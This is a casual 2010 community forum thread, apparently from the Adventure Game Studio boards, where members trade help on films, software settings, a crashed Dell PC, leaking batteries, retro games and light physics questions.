Okay so I watched Once Upon A Time In America the other night and it was very good, but I'm totally stumped about the ending. I think I missed the first 20 mins of the movie and understood and enjoyed all of it but the last 2 scenes really confused me.

Spoiler

Who is Mr Bailey, how/why does Noodles know him? Was it James Woods playing that character, and if so why wasn't he credited. Is Mr Bailey "Max" when older? If not why does he have the watch??
[close]

Also:

Spoiler

The final shot, is it supposed to imply Noodles will get over things....because he can always go and smoke some dope? Cos it did to me :P What's the meaning? I don't remember seeing him go and do that anywhere else in the movie. And why is that his middle aged self again? !11
[close]

If anyone can enlighten me I'd be greatful :) Thanks! Oh and Peder is looking into my PHP problem so thanks to you!
Title: Re: Ask something - We can help.
Post by: Stupot on Thu 30/09/2010 17:28:50
Hey chaps and chapesses.

So, who knows what happened to Pixel Town? (Or at least I'm SURE that's what it was called but I can't find it anywhere...  it was kind of a gradually updated pixel town with some web-comicky aspects... I'm sure I didnt imagine it.

s'okay, I found it... Isotown!

Cheers
Title: Re: Ask something - We can help.
Post by: LUniqueDan on Sat 02/10/2010 19:49:23
While talking of Isotown, is anyone have any news from Spaceboy? And Spacejane Colony?
Title: Re: Ask something - We can help.
Post by: Dualnames on Sat 02/10/2010 22:45:46
Wow, that's a blast for the past. Still wonder what made the guy leave.. :'(
Title: Re: Ask something - We can help.
Post by: Paper Carnival on Sun 03/10/2010 10:20:01
Mods:

Spoiler
Yes, he's older Max. Maybe this scene was cut out from the version you saw, but Noodles also sees the actress' son and he looks just like Max when he was young. This hints that Max had a son with her and that Max is still alive
[close]

Spoiler
I've not seen this film for years and I can't even remember this scene to comment on it, but it's possible that it doesn't have any significance.
[close]
Title: Re: Ask something - We can help.
Post by: on Mon 11/10/2010 22:06:16
I decided that I waste too much time typing, so I am learning some alphabetic shorthand (http://en.wikipedia.org/wiki/Dutton_Speedwords).
Nothing too fancy: let's say that 'k' is 'that' and 'c' is 'this', an example sentence would be

K girl is very pretty, c one is ugly.

which of course would look

That girl is very pretty, this one is ugly

in longhand.

I need some software to "replace" what I've written from shorthand to longhand.
Now, I know there are softwares for MS Office or OpenOffice that do that, but ideally I want it everywhere, e.g.:

-I'm writing on IRC, I type "K is cool", press some hotkey combo, obtain "That is cool".
-I'm using notepad to sketch some ideas,  idem.
-etc.

Hints?
Title: Re: Ask something - We can help.
Post by: cat on Mon 11/10/2010 22:10:17
Interesting, I didn't know such a thing exists. But I guess I'm too lazy to learn those abbrevations (I hardly know any shortcut keys) so I will type this and that  ;)

Oh, and I don't know how you could do that. There would have to be a programm that catches your keystrokes and transforms them or something.
Title: Re: Ask something - We can help.
Post by: Wyz on Mon 11/10/2010 23:21:59
I did a quick search and found several programs, including AutoHotkey (http://www.autohotkey.com/) which seems to do the trick, and is free. Just look for hotstring in the help file and you should be able to set it up :)
Title: Re: Ask something - We can help.
Post by: on Tue 12/10/2010 11:21:42
Quote from: Wyz on Mon 11/10/2010 23:21:59
I did a quick search and found several programs, including AutoHotkey (http://www.autohotkey.com/) which seems to do the trick, and is free. Just look for hotstring in the help file and you should be able to set it up :)

bicilotti writes:
k y imo uss!

->

that was indeed useful!

Thanks Wyz!
Title: Re: Ask something - We can help.
Post by: RetroJay on Wed 13/10/2010 23:12:57
Hi all.

I have been trying to remember the name of an Amiga game I used to play. (back through the mists of time).

Ok. It was a flight simulator set in the future where smog had covered everything at low level.
You played a cop and started on the top of a sky scrappper by your craft, in the nice clean air.
After take off you had to fly around and look for, certain,  bad guys which sometimes took you bellow the smog cover.
Once under the smog all the buildings were red and streets were black. Also there were areas such as Chinatown, Nob Hill and others.

Can anyone remember the name of this game?
Also what company made it?

Thanks.
Jay.
Title: Re: Ask something - We can help.
Post by: Kweepa on Thu 14/10/2010 03:40:39
Killing Cloud. Awesome game!
http://www.mobygames.com/game/atari-st/killing-cloud/screenshots
Title: Re: Ask something - We can help.
Post by: RetroJay on Thu 14/10/2010 18:24:08
Quote from: SteveMcCrea on Thu 14/10/2010 03:40:39
Killing Cloud. Awesome game!
Dear Mr McCrea.

Thank you... Thank you... Thank you.

That's the game. :)
I agree with you 100 percent. It was an awesome game.
I wish games companies, today,  would look at some of the old games and re-make them.
There were some damn good ideas then.

Many thanks.
Jay.
Title: Re: Ask something - We can help.
Post by: theo on Thu 14/10/2010 21:45:31
I have done some searching on the forums but have had a hard time getting a straight answer to this question:

Is it true that there is no way to have antialiased fonts in AGS when they are displayed against... say, my backdrop?
Title: Re: Ask something - We can help.
Post by: GarageGothic on Thu 14/10/2010 21:56:35
Most of the info you found was probably years old. While I haven't tested it myself yet, I was under the impression that this is no longer an issue in AGS 3.2.

Quote* Added support for anti-aliased TTF fonts in all situations where they weren't previously supported.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Thu 14/10/2010 22:01:46
yup, ttf fonts display anti-aliased in all situations out of the box in 3.2.

Just make sure you set "Anti-Alias True Type Fonts" in the general settings.
Title: Re: Ask something - We can help.
Post by: Scavenger on Thu 14/10/2010 22:30:29
I wanted to ask people their opinion on soundcards and this is just the place to do it. (because making a thread would be a little wasteful)

I want to get a new soundcard for MIDI playing. HW Soundfonts are a must, and OPL3/Adlib hardware support is good, but not required. I have an AWE32, but my main PC doesn't have an ISA slot and I can't find any suitable alternative. It's just for MIDI, I don't mind not having 3D surround sound and technicolor 64bit quality (as I already have a soundcard) - but something that can do GM MIDI like an AWE32 (and maybe OPL3) but in a PCI slot on an XP Computer? Is perfect. I already have an MT-32 for some of my MIDI needs... but the rest of it needs work now. The Microsoft SW Synth is really bad and softsynths eat too much CPU and RAM.

Thanks guys :)
Title: Re: Ask something - We can help.
Post by: theo on Thu 14/10/2010 23:09:03
Thanks Gothic + Leafshade. This made me realize that I am not running the newest release of AGS.

This however gives rise to another question -which honestly I feel a bit stupid asking- where can I download AGS 3.2? I found a thread in the technical forum but the dl link was broken.  :(
Title: Re: Ask something - We can help.
Post by: GarageGothic on Thu 14/10/2010 23:11:06
This URL (http://www.adventuregamestudio.co.uk/AGS-3.2.exe) (from 3.2 release thread) works fine for me.
Title: Re: Ask something - We can help.
Post by: theo on Thu 14/10/2010 23:17:59
thanks, man! Antialiasing is working fine now!
Title: Re: Ask something - We can help.
Post by: on Mon 18/10/2010 16:18:37
How do I stop Vista from activating my audio outputs ONLY when they're plugged in?

For eg. Forever I've been able to pull out the headphone jack and replace it with speaker jack and the music will continue. But not currently.

Title: Re: Ask something - We can help.
Post by: Dualnames on Mon 18/10/2010 16:59:41
Change to Windows7 man! Or back to XP. Vista is really shit. I know I'm not helping much, but you know you want it m0ds. Go INTO THE LIGHT! :D
Title: Re: Ask something - We can help.
Post by: on Mon 18/10/2010 23:45:55
Hey, it's good advice Jim - trust me. This machine CAME with XP, then when it crashed in the summer I tried to re-install it but for some dagnam reason it wouldn't let me! So the only option I had was Vista. I'll be saving up for a new PC next year so yes hopefully it will come with Windows 7. But I bet it'll still be shitty about headphones being plugged in or not!  :P
Title: Re: Ask something - We can help.
Post by: LRH on Mon 01/11/2010 17:26:52
New question from Domithan!
Huzzah!

So it's this:
WHAT THE HELL MOVIE AM I THINKING OF?!
It's been driving me crazy.

Clearly I don't know the title, but I only caught a portion of it on TV when I was a kid and it scared the crap out of me. All I can remember was that there was that creatures from fairy tales came to life, silenced everyone, and was tearing our their hearts. Does this sound familiar to anyone?
Title: Re: Ask something - We can help.
Post by: Damien on Mon 01/11/2010 18:21:15
Sounds like:

http://en.wikipedia.org/wiki/Hush_%28Buffy_the_Vampire_Slayer%29 (http://en.wikipedia.org/wiki/Hush_%28Buffy_the_Vampire_Slayer%29)
Title: Re: Ask something - We can help.
Post by: LRH on Mon 01/11/2010 18:54:34
That's it! Thank you!

Just watched it on netflix, never been a fan of Buffy before,but it was interesting! Also substantially less scary than it was 11 years ago :P Even a bit funny, at points.
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 01/11/2010 19:10:50
Quote from: Domithan on Mon 01/11/2010 17:26:52
I only caught a portion of it on TV when I was a kid and it scared the crap out of me.

I am old.  :(
Title: Re: Ask something - We can help.
Post by: Anian on Mon 01/11/2010 19:32:29
Oh, yeah, I remember that episode somewhat and yes it was scary...well more like creepy. I also remember the one about a girl that everybody ignored so much that she actually became invisible, I don't remember much more, even though I followed the series at the begining (later the whole Angel situation where he's bad but not etc. and the whole soapy affairs just turned me off the show).
Title: Re: Ask something - We can help.
Post by: on Tue 02/11/2010 16:59:09
An ask for something... if anyone is (or you know anyone) particularly passionate about creating nifty animated logo's then please get in touch. I need someone to create a 15-25 second animated intro for Screen7 for use in my projects, especially so for the new Ben jordan movie. I'm not talking GIFs but fully animated 3D sequences. Anything simple like: http://www.youtube.com/watch?v=M756gBa1rxY

Or complex like: http://www.youtube.com/watch?v=ep5PDKxtHp8

You would have total creative control, no need to use the current Screen7 logo format. All I can offer is that you'll see it used for the next decade or so in my projects :) And several beers/cokes in the future should I meet you. PM me if you might be able to help! If enough people are interested I'll make a new thread & let the AGSers pick their favourite.
Title: Re: Ask something - We can help.
Post by: on Sat 06/11/2010 02:18:35
oh man oh man some company called 2checkout.com have somehow taken 20 quid out of my paypal, I haven't ordered anything... how could this happen :(

Quote
Contents of your purchase :
Product ID : 14
Vendor Product ID : 012
Product Description : Wi-Free Business Voucher Code
Product Name : Wi-Free Business Plan
Quantity : 1
Handling Fee : 0.00


WTF :| Who should I report this too, paypal?

How do I disable my card from my paypal account? meh


EDIT. Mm, okay, trying the "resolution centre" thing. This happened to anyone else before?
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Tue 09/11/2010 11:46:13
How do I order stuff online?

No, really. I've never bought anything online, and it's incredibly confusing to me.

I'm sitting with this thing I have to fill out, and I don't know what the hell they want me to write.

My confusion starts with the fact that I have to fill out a "billing address" which will be used as the shipping address too. But I'm going to pay with a master-card, so I don't know what they're going for here.

My confusion then continues when I reach the "address line" bit. What is it they want here? As city, country and zip-code are asked for separately, am I only supposed to write the street and street-number?

Then came country and city, and everything is cristal clear. But then came "state", and I'm confused as fuck. Do I write "Sweden" again?

Can you guys help me out?
Title: Re: Ask something - We can help.
Post by: cat on Tue 09/11/2010 12:17:00
Billing adress is usually the same as the shipping address, unless the thing you buy is a present. Then you put your address in the billing address field and your friends address in the shipping address field. Your friend will get the present and you will get the bill.

The state field is for people from the USA, you can probably leave it empty or write sweden again.
Title: Re: Ask something - We can help.
Post by: Bulbapuck on Tue 09/11/2010 12:19:36
Got it.

Thanks cat :)
Title: Re: Ask something - We can help.
Post by: on Thu 25/11/2010 17:43:36
I wonder if anyone knows the name of an old cartoon which intercrossed with some real footage, I think it was about a fat kid (in the cartoon segment) and his older self (a fat elder man) I think looking back at himself. That's about all I remember of it. Oh and he was quite obnoxious, always shouting stuff. "JUST DO IT!" I'm really looking for its name, I haven't got a clue what it could be though, or what channel it used to be on. But me and my friends enjoyed it many years ago. Anyone remember anything like that?
Title: Re: Ask something - We can help.
Post by: GarageGothic on Thu 25/11/2010 17:56:43
Probably not it, but I can't help thinking of Fat Albert and the Cosby Kids (http://en.wikipedia.org/wiki/Fat_Albert_and_the_Cosby_Kids), though I would assume you'd have mentioned Bill Cosby being in it (and besides he was neither fat nor elderly at the time (http://www.youtube.com/watch?v=6WT-fxBNKs8)). Still, obnoxious as fuck :)
Title: Re: Ask something - We can help.
Post by: on Thu 25/11/2010 20:22:28
Hehe thanks, I vaguely remember that one, but no, it was most definitely a fat, white kid :)
Title: Re: Ask something - We can help.
Post by: jetxl on Sat 27/11/2010 15:59:30
Life with Louie (http://www.youtube.com/watch?v=ljnps51Wnqk&fmt=18)?
Title: Re: Ask something - We can help.
Post by: on Sat 27/11/2010 16:10:13
That's it!! Awesome, thanks jet!
Title: Re: Ask something - We can help.
Post by: theo on Wed 01/12/2010 21:23:37
I realize this is a bit of a n00b question but it's time for me to step out of the closet and challenge my ignorance.

Who/what is oceanspirit dennis?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Wed 01/12/2010 21:32:21
It was explained quite well right here (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42078.0) with the release of Ponch's amazing pirate game. It was actually quite fun.

The thread that spawned the gay Oceanspirit Dennis was this (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=40869.80) one. Thanks to Icey Games, Ben and DDQ and Snake; and the rest who've created games with the amazing Oceanspirit Dennis character.
Title: Re: Ask something - We can help.
Post by: ddq on Wed 01/12/2010 21:34:17
I'm so very glad you asked, theo! Prepare for a wall of text.

Oceanspirit Dennis is, at its most basic, a collective game universe that found its genesis in a thread where Iceygames asked about RPGs. He showed a picture of his JRPG protagonist named "Dave". I told him that Dave wasn't silly enough and instead suggested "Ocean, or Spirit, or Dennis". Snake then replied, "Oceanspirit Dennis?", to which I further added "Oceanspirit Dennis: Scourge of the Underworld". And a drew a silly picture of what someone with that name might look like, and a few days later, Ben304 made a funny little joke game with that title based on the picture.

Since Ben decided to make the game Open Source, more games followed, each expanding the character's personality and back-story, and eventually, his whole universe. What we ended up with was a Gay/Bi Pirate/Ninja/Private-Eye Adventurer/Warrior/Sex-Symbol. Of course, it's all satirical and I don't expect anyone to take it seriously, or even really like it.

If you like JRPG parody, give some of the OSD games a chance. You certainly don't have to play all of them to understand the whole universe, because you wouldn't even if you did. I hope this explanation was satisfactory.
Title: Re: Ask something - We can help.
Post by: Dualnames on Wed 01/12/2010 22:02:22
This might help: http://ags-ssh.blogspot.com/2010/05/oceanspirit-dennis-osd-or-ron.html
Title: Re: Ask something - We can help.
Post by: Anian on Thu 02/12/2010 17:06:01
There's a lot of tech savy people here, so I hope somebody will know this and help me:
so it's an mp4 video h264 - mpeg-4 avc (avc1)
resolution is 1280x528 (720 actually), 24 fps, the file has 3.4 gb
What I want to do is show this to my friends on my full hdtv panasonic tv which is connected to a panasonic bluray player bmp bd-80 by transfering the movie from pc to player via an usb stick or and SD card (both are 8gb). But the thing won't read it no matter what.

I tried Nero Visio Xtra and I made a sample movie work by making "avchd to sd" but when I try that for this bigger file, I get a 15 gb large file. I got a copy from another friend that works in this sd into bluray setup and this movie is about the same lenght and same quality but it takes up 7 gb.
The bluray really has trouble reading stuff unless it's divx or in the avchd format (with proper folder structure)

There are 99.99999% converters on the net that transform avchd into mp4, but very few go the mp4 to avchd, I tried a few, but they don't seem to work properly (avidemux, winx deluxe etc.). I'ts also hard to actually google it cause it just keeps turning out avchd to mp4/avi converters...

Help would be very much appreciated.

EDIT: there might be some restriction on the fact that SD card has fat format, so a movie of lets say 7 gb should be split into two smaller files, but I guess the softawre should offer an option for that or do it automatically...
Title: Re: Ask something - We can help.
Post by: theo on Thu 02/12/2010 21:33:33
ok thanks yall. what an intriguing character.  ;D
Title: Re: Ask something - We can help.
Post by: on Thu 09/12/2010 18:47:55
Another computer tech question, I'm wondering if anyone here has suffered and recovered from an nvlddmkm.sys error? There's a lot about it when searching google, but meh, no valuable solutions. It's related to nVidia graphics card I believe, though someone suggested it may have been caused initially by sound drivers mucking up. I've never encountered this issue though, but that's probably cos this is my first major crash with Vista (which I only started using since the summer).

It appears the "best" solution is throw your PC out the window and buy a new one.

I was playing a game, not designed for Vista, but had no idea, and half way through it locked up my machine, so I turned it off. I tried playing the game again, thinking it was a temporary issue but it locked again, so I turned my PC off again. However, this time when it booted, it wouldn't let me into normal Windows mode, only safe mode. Normal windows mode would show me a black screen after "Microsoft Corporation" and 5 minutes later a BSOD with the nvlddmkm.sys error.

Things online said to reinstall drivers, blah de blah, which I tried, no luck. One of the online solutions was to reformat, so I did that. I now have a partially installed Vista but it still won't let me into normal Windows mode, so I cannot complete the set up which also means I cannot enter safe mode. F***!

The "Dell" splash screen and all the DOS screens in the starup are mashed up, all the characters are screwed up like some kind of computer screen from the matrix. Both before and after my reformat and reinstall attempt.

So, has my graphics card been fried? Could it be a motherboard fry up? Any ideas are appreciated, but it looks like a new PC is going to be the only solution, as it's impossible to get into Windows, and for some reason I'm unable to install XP or Win 2K cos I get another BSOD when I try either.

Luckily though, this time I managed to back everything up. However it does mean a substantial delay to a certain movie. Gah! I don't expect anyone to have any solution regarding my problem, but if you've encountered this issue, I'd be interested to know how you solved it.

Mods
Title: Re: Ask something - We can help.
Post by: OneDollar on Thu 09/12/2010 21:52:52
@Mods
Sounds pretty bad. I haven't come across that error, though a game that's 'incompatible with Vista' should never kill a PC, especially not to this level. It does seem like a hardware error if you're getting a messed up Dell screen.

Does the computer have an onboard graphics card? If so you could take your current card out and switch to using the onboard one for testing purposes (should be automatic, but if not there'll be a setting in the BIOS to change between them). Alternatively can you get another card to put in it (though don't put in anything you care about - if the motherboard's fried you might kill the new card as well)?

I'd also run through the Dell diagnostics before trashing the PC. Instructions here (http://support.dell.com/support/topics/global.aspx/support/kcs/document?&docid=DSN_155502&isLegacy=true#Issue2), but the gist is hit F12 on bootup. If you've reinstalled Windows you might have removed the diagnostics partition, so you'd need to re-download it and burn a boot CD or put it on a USB drive.

You could also try a Linux boot CD, just to see what you get with a different OS.
Title: Re: Ask something - We can help.
Post by: Dualnames on Thu 09/12/2010 23:44:02
I'm trying to convert a 24 frame AVI into 24 images. I tried using VirtualDub but it's not working. I'm using Windows 7. Does anyone know any program that can convert an avi to images. I don't care about the images as long as it doesn't get necessarily converted to jpgs.
Title: Re: Ask something - We can help.
Post by: Anian on Fri 10/12/2010 00:38:27
Quote from: OneDollar on Thu 09/12/2010 21:52:52
@Mods
Sounds pretty bad. I haven't come across that error, though a game that's 'incompatible with Vista' should never kill a PC, especially not to this level. It does seem like a hardware error if you're getting a messed up Dell screen.

Does the computer have an onboard graphics card? If so you could take your current card out and switch to using the onboard one for testing purposes (should be automatic, but if not there'll be a setting in the BIOS to change between them). Alternatively can you get another card to put in it (though don't put in anything you care about - if the motherboard's fried you might kill the new card as well)?
Well the BSOD suggests that there is a software problem, but the problem with display surely suggests graphics card (I saw the matrix thing, then the log on screen would appear, but I couldn't move the cursor or log in, it turend out to be the card).
Yeah, try the onboard gfx port (there should be one), make sure the card is out, before that you can also check if the fan on the card is working properly, cause basically it could be an overheating problem.

If it's not the card, I suggest these standard checks while in safe mode:
- in DOS prompt (which should be run as administrator or it won't work right), write "sfc /scannow" and after that "chkdsk c: /f /r" (c is drive where windows is installed, chkdsk will probably ask for a restart), you probably know these guys  ;D
- if that doesn't work maybe try repairing Windows with the install dvd, make sure to put it right away when restarting so it boots up from the dvd
- try some of these suggestions: http://forums.techarena.in/vista-hardware-devices/689444.htm
Not sure how you actually partially reformat Vista though.  ???

Hmm, if you manage to get into normal start of windows, try leaving the pc on for 15 minutes, if it doesn't shut down or stop giving signal to monitor but for example you can still hear music then try running something graphic intensive (3dsmax, some modern game etc.) if the screen goes black but pc still seems to be working, it's the card.
Title: Re: Ask something - We can help.
Post by: Ali on Fri 10/12/2010 00:42:45
Quote from: Dualnames on Thu 09/12/2010 23:44:02
I'm trying to convert a 24 frame AVI into 24 images. I tried using VirtualDub but it's not working. I'm using Windows 7. Does anyone know any program that can convert an avi to images. I don't care about the images as long as it doesn't get necessarily converted to jpgs.

RAD Video Tools should do it, and is free:

http://www.radgametools.com/bnkdown.htm
Title: Re: Ask something - We can help.
Post by: on Fri 10/12/2010 01:17:12
OneDollar, Anian, many thanks. Just lost a long reply, but the long and short of it is I now have a working XP install screen thanks to your advice. I'll let you know what happens. The matrixy look hasn't gone away though, even after a format, etc. Hmm. Let you know soon...

Edit: XP is working, matrix look still there though, cant run any games, it says it cannot find the right screen mode or something. Installing nVidia drivers dont seem to work, I am left with the default vga setting. Hrmm!

Found this info too, this is what my display looks a bit like.
QuoteIf you’ve ever seen strange graphics artifacts on your computer screen like in the adjacent image, chances are that you have experienced the failure of a display adapter.

If such a display adapter is built into your motherboard (usually called “integrated graphics”), it typically uses a portion of your computer’s RAM memory for displaying video. This can have drawbacks, such as “choppy” video playback speed, or poor video game frame rates.

If you have integrated graphics, repair usually consists of either replacing the motherboard or adding in a discrete video card and disabling the on-board display adapter in the computer’s BIOS.

http://cartierconsulting.com/2010/04/dell-inspiron-e1705-display-adapter-lcd-replacement/

So, a fried motherboard perhaps..
Title: Re: Ask something - We can help.
Post by: LimpingFish on Fri 10/12/2010 01:52:40
Alright, give me a minute here, because I've been as depressed as a toothless dog at a mailman convention the last few days, and I'm pretty fed up at the moment.

I just discovered that two Duracell AA's leaked inside a Wiimote of mine. The leakage had solidified, so taking the batteries out wasn't very messy, and cleaned up fairly thoroughly. There is a very small amount of leakage crust on the contacts in the battery compartment. With new batteries, the Wiimote still works.

Everything Google threw up mostly concerns personal safety in the face of battery leakage, and not what's bothering me.

My question is twofold:

If I leave the crust there, will it continue to corrode the contacts? And can the solidified crust go on to corrode anew, if some of it happens to get into other equipment?

Title: Re: Ask something - We can help.
Post by: Hollister Man on Fri 10/12/2010 02:04:23
Dualnames:

I've been using Animation Shop, the version that came with Paint Shop Pro 7, but the newer versions of Photoshop can do it too.  Otherwise, I don't know.
Title: Re: Ask something - We can help.
Post by: Dualnames on Fri 10/12/2010 03:21:13
Personally I find myself a great fan of photoshop, but after CS they really messed it up. I doubt I ever used anything Adobe CS based, and didn't get totally pissed off. I'm gonna try Animation Shop though Hollister.

@Ali: Thanks for the RAD Video Tools!
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Fri 10/12/2010 03:25:39
Quote from: LimpingFish on Fri 10/12/2010 01:52:40
I just discovered that two Duracell AA's leaked inside a Wiimote of mine.

The exact same thing happened to me and i just carried on using it.

The crusty stuff is potassium hydroxide and can corrode copper fairly badly. However copper is only used on the actual circuit boards, not the battery contacts.

Once the batteries have been removed the crystals wont grow anymore so providing the crystals havent reached the circuit boards you should be ok.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Fri 10/12/2010 03:38:15
I've had it happen to the OLD black and white Gameboy over 10 years ago and the thing still works. I doubt you'll have any problem. But then again, the B&W Gameboys were the size of a large brick and probably made out of lead and other heavy stuff. :D
Title: Re: Ask something - We can help.
Post by: Anian on Fri 10/12/2010 13:24:15
Quote from: Ryan Timothy on Fri 10/12/2010 03:38:15
I've had it happen to the OLD black and white Gameboy over 10 years ago and the thing still works. I doubt you'll have any problem. But then again, the B&W Gameboys were the size of a large brick and probably made out of lead and other heavy stuff. :D
It's a freaking Gameboy, that's part of the history of hardware manufacturing when they still made stuff that lasted. I found a freaking tetris game cartridge on the ground one time, it was in three pieces and in mud, took it home and dad cleaned it up a bit and glued it together (15 minutes of work tops), game still works today.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Fri 10/12/2010 15:21:37
Quote from: anian on Fri 10/12/2010 13:24:15
It's a freaking Gameboy, that's part of the history of hardware manufacturing when they still made stuff that lasted.
Yeah tell me about it. I've done the 3 year contract with my cell phone twice now, and BOTH times my phones haven't lasted longer than 2 years. I'll never do a 3 year contract again, it's not worth the punishment of putting up with a phone that crashes once in a while. Very annoying. I've even done a hard reset and it still has issues.
Title: Re: Ask something - We can help.
Post by: LimpingFish on Fri 10/12/2010 21:25:42
Thanks, guys. :)

Yeah, I cleaned most of the stuff out, leaving only a tiny amount on the inner curve of the springy contacts (an absolute bitch to get at). If it's okay to leave it there, I'll just ignore it. The Wiimote still works fine, so best not to tempt fate.

Thanks again.
Title: Re: Ask something - We can help.
Post by: Ponch on Sat 11/12/2010 04:49:41
I have a question.

Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D
Title: Re: Ask something - We can help.
Post by: Gudforby on Sat 11/12/2010 10:38:46
Well, doesn't it go for the same with your avatar as well???  ::)

But seriuously, animals with hats are always cute...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on Sat 11/12/2010 11:35:24
Ok I have a physics question.

Yesterday my GF's car got stuck on some ice, the wheels kept spinning.

I put some cloths behind the wheels but still on the ice, and the tires got some traction on the cloth and she was able to reverse.

Now my question is.. why is this possible?

surely if the cloth is *on the ice*  then the friction is the same and the cloth just slips instead of the tires.

basically the friction of a system should be equal to the lowest friction within the system and since the tires are made of high-friction rubber they should be better than the cotton cloth.

Why is that not the case?
Title: Re: Ask something - We can help.
Post by: Wyz on Sat 11/12/2010 15:53:53
Well I'm by no means an expert on physics but I'm going to spew out a theory:
The cloth might get wet because of the moist that is either on the ice or the tires. The water in the cloths is sympathetic to the ice because of hydrogen bonds so it sticks; Or maybe it just freezes onto the ice. However the cloth provides better traction.

Or something... ;D
Title: Re: Ask something - We can help.
Post by: LimpingFish on Sat 11/12/2010 19:35:26
Quote from: Ponch on Sat 11/12/2010 04:49:41
Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D

The hairless-osity of the hamster factor is countered by the fuzzy-acity of the hat matrix.

H(hr)- * HT(f)+ =  :D

Title: Re: Ask something - We can help.
Post by: OneDollar on Sat 11/12/2010 19:56:48
Quote from: Calin Leafshade on Sat 11/12/2010 11:35:24
Why is that not the case?

Just guessing, but my theories...
1 - You slide on ice because the surface melts and provides a thin layer of water which acts as a lubricant. Maybe the cloth absorbs the water.

2 - The cloth provides a larger surface area, so more friction. The tyre is full of groves which aren't in contact with the ground, so aren't providing any grip. (The purpose of a tyre tread is to carry away water from rain or ice, to stop the tyre slipping. A bald tyre actually has much more grip than a tyre with a tread because more of it is in contact with the road, but as soon as there's water involved - rain, snow, ice - it starts to slip. If I'm right about guess 1, that wouldn't be an issue for the cloth).

3 - On a cold winter's day the rubber in the tyres is much harder, and won't mould itself to the ground (this is why winter tyres are better in the snow - they're made from a different compound that stays soft in the cold). The cloth can mould to the ice and provide more friction.
Title: Re: Ask something - We can help.
Post by: Ponch on Sat 11/12/2010 20:19:24
Quote from: LimpingFish on Sat 11/12/2010 19:35:26
Quote from: Ponch on Sat 11/12/2010 04:49:41
Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D

The hairless-osity of the hamster factor is countered by the fuzzy-acity of the hat matrix.

H(hr)- * HT(f)+ =  :D

Ah! So it's science! Adorable science!
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on Sat 11/12/2010 20:30:35
Also you have an unnaturally strong fondness for all things Christmas, Ponch  :D
Title: Re: Ask something - We can help.
Post by: Ponch on Sat 11/12/2010 20:36:58
Quote from: Ben304 on Sat 11/12/2010 20:30:35
Also you have an unnaturally strong fondness for all things Christmas, Ponch  :D

Speaking of...

(http://www.barnrunner.com/pics/misc/avatarnew0-improved.PNG)

I'll be hurt if you don't use it! ;)


Edit: And to anyone that doesn't love Christmas: http://www.youtube.com/watch?v=5ysfQjKKi70 (http://www.youtube.com/watch?v=5ysfQjKKi70) ;)

Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Sun 12/12/2010 02:42:27
I have a more important question..

Why is OneDollar spelling it as Tyre? Damn English.  ;D I'm Canadian and I'm not even that bad. ;)

Also... why does Barefoot use a BMP image for his avatar that is almost half a MB. Damn man. Think of the bandwidth and those poor chinese people that have to run that information to my computer... That is how the internet works, right?
Title: Re: Ask something - We can help.
Post by: on Sun 12/12/2010 05:57:46
What is run > sndvol on XP sp 3? Yay
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Mon 13/12/2010 01:08:56
What is the song playing in this video? http://www.youtube.com/watch?v=A-5BIhItn18

Been listening to it for ages trying to figure out the lyrics sung in the ending to try and search for it but no luck so far..
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Mon 13/12/2010 01:20:02
Quote from: Mods on Sun 12/12/2010 05:57:46
What is run > sndvol on XP sp 3? Yay

Hit the Windows button + R and type in "sndvol". It's your Windows mixer. :D
Title: Re: Ask something - We can help.
Post by: Atelier on Mon 13/12/2010 19:44:49
Peder, look through this: http://www.myspace.com/scanners. According to one of the comments this band recorded the song for the video, not sure how reliable that is.
Title: Re: Ask something - We can help.
Post by: Peder 🚀 on Mon 13/12/2010 19:48:54
Yeah, checked it but haven't actually found the song. And in one of the other comments it is mentioned they never found it on there neither..
Title: Re: Ask something - We can help.
Post by: on Wed 15/12/2010 17:53:30
Quote from: dkh on Mon 13/12/2010 01:20:02
Quote from: Mods on Sun 12/12/2010 05:57:46
What is run > sndvol on XP sp 3? Yay

Hit the Windows button + R and type in "sndvol". It's your Windows mixer. :D

It doesn't load by typing in sndvol, so I'm wondering if I need to type something different. The only way to open it is double click the speaker icon, but I was hoping I could type something under Run also :)
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Wed 15/12/2010 18:20:49
Oh, misunderstood the problem there, sorry. There is a way to open it in the system settings but it's easier clicking the speaker icon. Apparently "sndvol" only works on Vista and newer..?
Title: Re: Ask something - We can help.
Post by: OneDollar on Wed 15/12/2010 20:24:55
Quote from: Mods on Sun 12/12/2010 05:57:46
What is run > sndvol on XP sp 3? Yay

sndvol32
Title: Re: Ask something - We can help.
Post by: InCreator on Wed 15/12/2010 21:01:53
Since same question was horribly derailed with irrelevant notions last time, but I'm still wondering, I ask again:

setting:

let's assume that you're... God. Or Neo, and world is fully implemented Matrix... or whatever.
Anyway, it is important that you see everything, you hear everything.
And you can "zoom in" to any scale in the universe. For example, to flea level and see flea in "full size" and hear every sound it makes, etc.

Well, and you can zoom in to atomic level. See atoms close up, how they act etc.

case:

A brick wall stands in the wind. You zoom in to atomic level. You can actually see air molecules impact with the ones of materials bricks are made.

questions:

* How would it look? Would it be equivalent to sky raining asteroids, with "explosions" everywhere, some of the air molecules binding with ones of whatever-brick-clay-consists-of, atoms flying apart from impact, etc?

Logic - slight wind for us is a hurricane to an ant. How about an atom?

* Would you see surface of brick decaying endlessy all the time and simply the super minor scale of this happening causes bricks to last... seemingly forever for us? Or are things much more stable even in so microscopic world?

